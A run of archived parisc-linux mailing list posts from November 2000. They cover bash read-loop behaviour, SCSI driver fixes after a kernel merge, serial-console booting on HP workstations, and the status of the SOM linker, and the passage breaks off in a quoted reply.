	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA20246
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 13:28:29 -0700
Original-Received: (qmail 19839 invoked by uid 15267); 12 Nov 2000 20:30:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19827 invoked from network); 12 Nov 2000 20:30:28 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 20:30:28 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13v3iu-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Sun, 12 Nov 2000 13:27:32 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sun, 12 Nov 2000 11:06:38 MST."
             <20001112110638.A1005@tausq.org>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8388

= After a lot of digging, I *think* what is at fault is actually bash.

Bash has a bunch of 'set' options, some shell variables, and probably
some compile-time configure options, which affect its behavior, so I'd
compare all those.  One possibility is that the bash configure script on
hppa configures bash to be more like Posix, since that's what hp-ux shell
users expect.

The construct in question:

	echo "a b c
		1 2 3" | while read x1 x2 x3

*depends* on the way echo breaks or doesn't break lines, and the way
read parses them.  Often scripts like that also depend on whether
the shell actually makes a new subprocess for the 'while' or it doesn't,
because that determines whether variables set in the loop will still be
set on exit from the loop.  While I didn't find a way to make the
construction fail, a safer method (when you get a choice) is to use 'set':

	set -- a b c \
		1 2 3

	while [ $# != 0 ]
	do
	    echo $1 $2 $3
	    shift 3
	done

	-Paul "too much shell programming" Bame


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Sun, 12 Nov 2000 17:25:45 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <m13v7RS-001Vp3C@chalet>
References: <m13uLiv-001Vp3C@chalet>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619271 6049 80.91.229.3 (22 Nov 2014 01:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:11 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@bame.riverrock.org  Sun Nov 12 17:28:31 2000
Original-Received: from chalet ([199.254.238.240])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA21340
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 17:28:31 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13v7RS-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 17:25:46 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Fri, 10 Nov 2000 14:28:33 MST."
             <m13uLiv-001Vp3C@chalet>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8389


Helge noticed SCSI fails (B160L, 712, I think it's ok on c3k)
after the -test10 merge.  We have MANY differences from Linus in the SCSI
area.  Anybody want to take a look at this?  FYI to get
the pre-merge kernel you can use LINUS_240_TEST10_PREMERGE.  Beware
that tags are sticky in CVS (use cvs update -A to fix that).

	-P


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: catfish@alltel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Project Dead????
Date: Sun, 12 Nov 2000 19:05:21 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <3A0F3E51.8C81FADA@alltel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619272 6053 80.91.229.3 (22 Nov 2014 01:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Sun Nov 12 18:03:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA22089
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 18:03:18 -0700
Original-Received: (qmail 1048 invoked by uid 15267); 13 Nov 2000 01:05:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1025 invoked from network); 13 Nov 2000 01:05:06 -0000
Original-Received: from mta02.alltel.net (HELO mta02-srv.alltel.net) (166.102.165.144)
  by mailserv2.iuinc.com with SMTP; 13 Nov 2000 01:05:06 -0000
Original-Received: from alltel.net ([166.102.253.17]) by mta02-srv.alltel.net
          (InterMail vM.5.01.01.01 201-252-104) with ESMTP
          id <20001113010415.IQXO1112.mta02-srv.alltel.net@alltel.net>
          for <parisc-linux@thepuffingroup.com>;
          Sun, 12 Nov 2000 19:04:15 -0600
Original-Sender: catfish@mailserv2.iuinc.com
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8390

 Hello, 
Its been so long since I've had an email I was curious if this has
become a Dead project? 

Just curious.
Terry




-- 
catfish: icq #20116127


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Project Dead????
Date: Sun, 12 Nov 2000 18:15:07 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <m13v8DD-001Vp3C@chalet>
References: <3A0F3E51.8C81FADA@alltel.net>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619272 6057 80.91.229.3 (22 Nov 2014 01:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: catfish@alltel.net
Original-X-From: bame@bame.riverrock.org  Sun Nov 12 18:18:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA22462
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 18:18:29 -0700
Original-Received: (qmail 11222 invoked by uid 15267); 13 Nov 2000 01:20:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11215 invoked from network); 13 Nov 2000 01:20:29 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 13 Nov 2000 01:20:29 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13v8DD-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Sun, 12 Nov 2000 18:15:07 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sun, 12 Nov 2000 19:05:21 CST."
             <3A0F3E51.8C81FADA@alltel.net>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8391

=  Hello, 
= Its been so long since I've had an email I was curious if this has
= become a Dead project? 

You might want to check the e-mail archives to see what you've been
missing.  I don't know why you haven't been receiving anything.  The
project is quite alive.

    http://www.parisc-linux.org/lists.html

    	-P


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Sun, 12 Nov 2000 19:20:50 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <m13v9Eo-001Vp3C@chalet>
References: <m13v7RS-001Vp3C@chalet>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619272 6061 80.91.229.3 (22 Nov 2014 01:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:12 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@bame.riverrock.org  Sun Nov 12 19:21:31 2000
Original-Received: from chalet ([199.254.238.240])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA23273
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 19:21:30 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13v9Eo-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 19:20:50 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sun, 12 Nov 2000 17:25:45 MST."
             <m13v7RS-001Vp3C@chalet>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8392

= 
= Helge noticed SCSI fails (B160L, 712, I think it's ok on c3k)
= after the -test10 merge.

Fixed.

>From test6 to test10 the SCSI host registration method changed.
Updated sim700.c, lasi7xx.h, zalon7xx.h

	-P


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems booting new beta CD
Date: Sun, 12 Nov 2000 21:34:08 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <200011130534.VAA10080@milano.cup.hp.com>
References: <20001112164053.A14202@cerias.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619273 6065 80.91.229.3 (22 Nov 2014 01:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Brian Poole <raj@cerias.purdue.edu>
Original-X-From: grundler@cup.hp.com  Sun Nov 12 22:26:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA24171
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 22:26:59 -0700
Original-Received: (qmail 11346 invoked by uid 15267); 13 Nov 2000 05:28:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11332 invoked from network); 13 Nov 2000 05:28:59 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Nov 2000 05:28:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 3B91728C; Sun, 12 Nov 2000 21:28:58 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA10080;
	Sun, 12 Nov 2000 21:34:12 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 12 Nov 2000 16:40:53 PST."
             <20001112164053.A14202@cerias.purdue.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8393

Brian Poole wrote:
> Quoting Grant Grundler (grundler@cup.hp.com) from 11 November 2000:
> > Is there a way via PALO to direct the console to FBCON or STICON or
> > whatever it's called now?
> > 
> > I had the impression *eventually* the boot console would be whatever PDC
> > says it is - ie graphics console for the 712.
> 
> Working on a 715 here.. notice you refer to 712s throughout, hopefully we are
> on the same page. Maybe 712s are identical to 715s, I don't have any idea,
> just noticed the irregularity.

For the most part yes. I had just assumed you were using a 712.

> I meant to say 'from serial console' or something of the sort.. 

Serial console should just work.
Shouldn't need an HIL keyboard connected though.

> 
> > > I've been fooling with it to no
> > > success.. I have it automatically booting from the CD, but it doesn't
> > > actually boot. I replug in the monitor & keyboard and find that it can't
> > > boot without the keyboard ('Failed to initiliaze a keyboard\n SYSTEM 
> > > HALTED').. How am I supposed to boot to the console if I can't boot w/o a
> > > keyboard? I imagine if it has a keyboard it will boot to the screen like 
>   a
> > > Sun.
> > 
> > AFAIK, 712's are the only parisc workstations what won't boot w/o keyboard.
> > All others will auto-switch to use serial console if the keyboard
> > is not connected
> 
> Hmmm.. so I have manually switch it to use serial console?

No. Just disconnect the keyboard before powering on the machine.
Should end up with console on the serial interface.

You may want to set the keyboard/console path to the serial port.
This can be done from "BOOT_ADMIN>" prompt.

The default kernel has "CONFIG_HIL=y". But since I don't test on
boxes with HIL interfaces, I have no idea if a keyboard is required
since the driver is enabled. It sounds like a bug if the 715
can't boot from serial console w/o HIL keyboard.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dhazeghi@pacbell.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Semi OT] SOM Linker
Date: Sun, 12 Nov 2000 21:34:19 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <3A0F7D5B.4A70CB73@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619273 6067 80.91.229.3 (22 Nov 2014 01:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhazeghi@pacbell.net  Sun Nov 12 22:41:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA24574
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 22:41:29 -0700
Original-Received: (qmail 20582 invoked by uid 15267); 13 Nov 2000 05:43:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20574 invoked from network); 13 Nov 2000 05:43:29 -0000
Original-Received: from mta5.snfc21.pbi.net (206.13.28.241)
  by mailserv2.iuinc.com with SMTP; 13 Nov 2000 05:43:29 -0000
Original-Received: from pacbell.net ([63.197.150.190])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G3Y007W37F7BI@mta5.snfc21.pbi.net> for
 parisc-linux@thepuffingroup.com; Sun, 12 Nov 2000 21:33:07 -0800 (PST)
Original-Sender: dara@mta5.snfc21.pbi.net
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8394

Hello,

I have been watching this project for some time and wanted to thank you
guys for all the great work so far. The recent announcement of a BETA CD
is highly encouraging.

However I would like to know what work if any has been done on the SOM
linker which HP released to the public last November(?). It seems that
as of right now, it has not been touched since February 14, and the FSF
binutils snapshots still do not have any SOM support for ld. Has there
been any movement in merging this in, or is anybody working on this?
Thanks.

Dara Hazeghi


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Mon, 13 Nov 2000 08:32:54 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <00111308325401.00396@P100>
References: <m13v9Eo-001Vp3C@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619273 6070 80.91.229.3 (22 Nov 2014 01:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:13 +0000 (UTC)
To: bame@riverrock.org, parisc-linux@puffin.external.hp.com
Original-X-From: deller@gmx.de  Mon Nov 13 00:31:13 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA01361
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 00:31:12 -0700
Original-Received: (qmail 13200 invoked by uid 0); 13 Nov 2000 07:32:42 -0000
Original-Received: from pd9040d78.dip.t-dialin.net (HELO P100) (217.4.13.120)
  by mail.gmx.net (mail06) with SMTP; 13 Nov 2000 07:32:42 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <m13v9Eo-001Vp3C@chalet>
Xref: news.gmane.org gmane.linux.ports.parisc:8395

On Monday 13 November 2000 03:20, bame@riverrock.org wrote:
> = 
> = Helge noticed SCSI fails (B160L, 712, I think it's ok on c3k)
> = after the -test10 merge.
> 
> Fixed.
> 
> >From test6 to test10 the SCSI host registration method changed.
> Updated sim700.c, lasi7xx.h, zalon7xx.h
> 
> 	-P

Thanks Paul,

sim700 (53c710) now works again, but the second built-in controller (ncr/sym 
53c8xx) still doesn't.

Greetings,

	Helge


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BEWARE: Makefile changed from parisc to parisc64
Date: Mon, 13 Nov 2000 10:24:03 +0000
Lines: 6
Approved: news@gmane.org
Message-ID: <20001113102403.P32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619274 6075 80.91.229.3 (22 Nov 2014 01:21:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:14 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Mon Nov 13 03:24:31 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA02469
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 03:24:29 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2248CB007; Mon, 13 Nov 2000 10:24:03 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8396

Confused me for a while, anyway.  If you cvs update your kernel
source and expect to build a 32 bit kernel, you need to edit the
top level Makefile to change the arch := line.

Richard


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS has moved!
Date: Tue, 20 Apr 1999 08:10:06 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <19990420081006.O24095@cmu.edu>
References: <adevries@redhat.com> <199904200945.LAA31742@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619274 6077 80.91.229.3 (22 Nov 2014 01:21:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:14 +0000 (UTC)
To: Tor Arntsen <tor@spacetec.no>, parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Tue Apr 20 08:10:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id IAA30231
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 08:10:08 -0400
Original-Received: (qmail 23585 invoked by uid 15267); 20 Apr 1999 12:08:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23578 invoked from network); 20 Apr 1999 12:08:41 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 20 Apr 1999 12:08:41 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id IAA30224;
	Tue, 20 Apr 1999 08:10:07 -0400
X-Mailer: Mutt 0.91i
In-Reply-To: <199904200945.LAA31742@pallas.spacetec.no>; from Tor Arntsen on Tue, Apr 20, 1999 at 11:45:03AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:8397

On Apr 20, Tor Arntsen wrote:
> Now a problem: 
> cvs server: failed to create lock directory in repository `/home/cvs/parisc/linux/arch/parisc/hp/kernel': Permission denied
> cvs server: failed to obtain dir lock in repository `/home/cvs/parisc/linux/arch/parisc/hp/kernel'
> cvs [server aborted]: read lock failed - giving up

I've fixed this for now, and I see why it happened.  Thanks for
letting us know.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Mon, 13 Nov 2000 12:13:49 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20001113121349.Q32715@linuxcare.com>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619274 6079 80.91.229.3 (22 Nov 2014 01:21:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:14 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: bame@riverrock.org
Original-X-From: rhirst@linuxcare.com  Mon Nov 13 05:14:09 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA05963
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 05:14:07 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A5F40B007; Mon, 13 Nov 2000 12:13:49 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <m13uLiv-001Vp3C@chalet>; from bame@riverrock.org on Fri, Nov 10, 2000 at 02:28:33PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8398

On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
> drivers/scsi sym53c8xx_comm.h #ifdef doesn't work on parisc -- eliminates
>                 unmap_pci_mem() causing link error (TODO - rhirst)

Fixed.  This relates to NVRAM that some PCI scsi cards have to hold
config settings over reboot.  CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
is normally defined in sym53c8xx_defs.h to turn that code on.  When
I implemented Zalon (FWD) support I guessed that the 53c720 h/w
wouldn't have NVRAM implemented the same way, and turned off
NVRAM detect.

I've also replaced a chunk of Zalon specific code that got lost in
the merge, so Zalon/FWD/53c720 support works again.

There is a problem remaining when using the driver as a module;
it looks like something is trying to printk() from a string in
the module after the module has been removed.  Havn't tracked
that down yet.

Richard


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Semi OT] SOM Linker
Date: Mon, 13 Nov 2000 13:50:24 -0500
Organization: The Puffins at Linuxcare
Lines: 25
Approved: news@gmane.org
Message-ID: <3A1037F0.826C9D8C@linuxcare.com>
References: <3A0F7D5B.4A70CB73@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619275 6085 80.91.229.3 (22 Nov 2014 01:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhazeghi@pacbell.net
Original-X-From: adevries@linuxcare.com  Mon Nov 13 10:40:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08033
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 10:40:21 -0700
Original-Received: (qmail 21778 invoked by uid 15267); 13 Nov 2000 17:42:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21765 invoked from network); 13 Nov 2000 17:42:22 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 13 Nov 2000 17:42:22 -0000
Original-Received: (qmail 14594 invoked from network); 13 Nov 2000 17:42:09 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 13 Nov 2000 17:42:09 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8399

dhazeghi@pacbell.net wrote:
> However I would like to know what work if any has been done on the SOM
> linker which HP released to the public last November(?). It seems that
> as of right now, it has not been touched since February 14, and the FSF
> binutils snapshots still do not have any SOM support for ld. Has there
> been any movement in merging this in, or is anybody working on this?

The initial plan was to do our 32-bit userspace with SOM, worrying about
ELF32 much later in the game.  But ELF32 development happened a lot
quicker than expected, and so nobody's really done much on the SOM
linker.

I suspect it'd be very hard to use the SOM linker code to incorporate it
into binutils, but I could be wrong.

What are you actually trying to do?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: sym53c8xx-driver   (was: Re: [parisc-linux] kernel merge)
Date: Mon, 13 Nov 2000 23:54:29 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <00111323542900.00319@P100>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet> <20001113121349.Q32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619275 6087 80.91.229.3 (22 Nov 2014 01:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:15 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>, bame@riverrock.org
Original-X-From: deller@gmx.de  Mon Nov 13 15:53:43 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09695
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Nov 2000 15:53:42 -0700
Original-Received: (qmail 20692 invoked by uid 0); 13 Nov 2000 22:55:21 -0000
Original-Received: from pd904031b.dip.t-dialin.net (HELO P100) (217.4.3.27)
  by mail.gmx.net (mail05) with SMTP; 13 Nov 2000 22:55:21 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20001113121349.Q32715@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8400

On Monday 13 November 2000 13:13, Richard Hirst wrote:
> On Fri, Nov 10, 2000 at 02:28:33PM -0700, bame@riverrock.org wrote:
> > drivers/scsi sym53c8xx_comm.h #ifdef doesn't work on parisc -- eliminates
> >                 unmap_pci_mem() causing link error (TODO - rhirst)
> 
